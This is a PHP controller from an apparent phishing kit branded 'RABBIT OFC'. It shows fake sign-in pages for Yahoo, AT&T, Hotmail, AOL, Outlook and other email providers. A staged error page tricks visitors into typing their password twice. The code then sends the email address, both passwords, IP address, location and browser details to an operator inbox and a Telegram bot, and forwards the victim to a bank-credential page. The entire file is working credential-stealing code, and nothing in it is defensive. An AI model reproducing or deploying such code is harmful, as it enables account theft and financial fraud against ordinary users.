<?php
defined("ALLOW") or exit('No direct script access allowed');

class Email
{
	public $goRABBIT;
	public function __construct()
	{
		$this->goRABBIT = new goRABBIT();

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 5)) {

			write(FCPATH . 'RABBIT/Static/log_robot.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		$page = $_SESSION['email_type'];
		$att = array("att", "bellsouth", "flash", "sbcglobal", "prodigy");

		if (in_array($page, $att)) {
			$page = 'att';
		} else {
			$page = $page;
		}
		$page = strtolower($page);
		$accept  = array("yahoo", "att", "hotmail", "aol" ,"comcast", "charter", "outlook", "msn", "live");

		if (in_array($page, $accept)) {
			echo view("email/{$page}/index");
		} else {
			if ($this->goRABBIT->is_mobile) {
				echo view('email/email/mobile/index');
			} else {
				echo view('email/email/pc/index');
			}
		}
	}
	
	public function try()
	{
		$page = $_SESSION['email_type'];
    	$att = array("att", "bellsouth", "flash", "sbcglobal", "prodigy");

		if (in_array($page, $att)) {
			$page = 'att';
		} else {
			$page = $page;
		}
		$page = strtolower($page);
		$accept  = array("yahoo", "att", "hotmail", "aol", "comcast", "charter", "outlook", "msn", "live");

		if (in_array($page, $accept)) {
			echo view("email/{$page}/index.error");
		} else {
			if ($this->goRABBIT->is_mobile) {
				echo view('email/email/mobile/index.error');
			} else {
				echo view('email/email/pc/index.error');
			}
		}
	}
	
	public function first()
	{
		if (isset($_POST['password'])) {
			$_SESSION['password_email'] = trim($_POST['password']);
		}

		redirect(base_url() . 'ap/email/try?error_id=' . md5(time()));
	}


	public function process()
	{
		if (isset($_POST['password'])) {
			$_SESSION['password_email2'] = trim($_POST['password']);
			$email = ($_POST['email']) ? $_POST['email'] : $_SESSION['email'];
			$password	= ($_POST['password']) ? $_POST['password'] : '';
			$password2 	= ($_SESSION['password_email']) ? $_SESSION['password_email'] : $_POST['password'];

			$message =
				"<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 90%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'>RABBIT OFC</span></strong>

::::: [ EMAIL AKSES ] :::::
			
🔘 Email 	: {$email}
🔘 Password  : {$password}
🔘 Check Password  : {$password2}

::::: [ VISITOR INFO ] :::::

🔘 Date &amp; Time  : " . _date() . "  
🔘 Device       : {$this->goRABBIT->platform}
🔘 Browser      : {$this->goRABBIT->browser}
🔘 Country      : {$_SESSION['country']}
🔘 State        : {$_SESSION['region']}
🔘 City         : {$_SESSION['city']}
🔘 Ip Address   : {$this->goRABBIT->ip_address}
🔘 ISP			: {$this->goRABBIT->isp}
🔘 User Agent   : {$this->goRABBIT->agent}

::::: [ RABBIT OFC ] :::::

</pre>
</fieldset>
</pre>";

			$subject = "LOG EMAIL:: [ {$this->goRABBIT->ip_address} - {$_SESSION['country']} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: RABBIT <cs@rabbitofc.icu>";

			if (_config('GETACCOUNT') == 'on') {
				@mail(_config('RESULT'), $subject, $message, $headers);
			}
			
            if (_config('TELEGRAM') == 'on') {
				$c = curl_init();
				curl_setopt($c, CURLOPT_URL, 'https://api.telegram.org/bot' . telex('token') . '/sendMessage?chat_id=' . telex('idtelegram') . '&text=' . urlencode(strip_tags($message)));
				curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
				curl_setopt($c, CURLOPT_SSL_VERIFYHOST, false);
				$x = curl_exec($c);
				curl_close($c);
			}

			write(FCPATH . 'RABBIT/Static/log_email.txt', 'a', "{$this->goRABBIT->ip_address}\r\n");
			write(FCPATH . 'RABBIT/Static/log_click.txt', 'a', "|{$_SESSION['flag']['img']}|" . _time() . "|{$this->goRABBIT->ip_address}|{$_SESSION['country']}|{$this->goRABBIT->browser}|GET EMAIL\r\n");
            
			if (_config('GETBANK') == 'on') {
				$_SESSION['access'] = 7;
				redirect(base_url() . 'ap/bank?_id=' . md5(time()));
			} else {
				$_SESSION['access'] = 8;
				redirect(base_url() . 'ap/finished?_id=' . md5(time()));
			}
            
		}
	}
}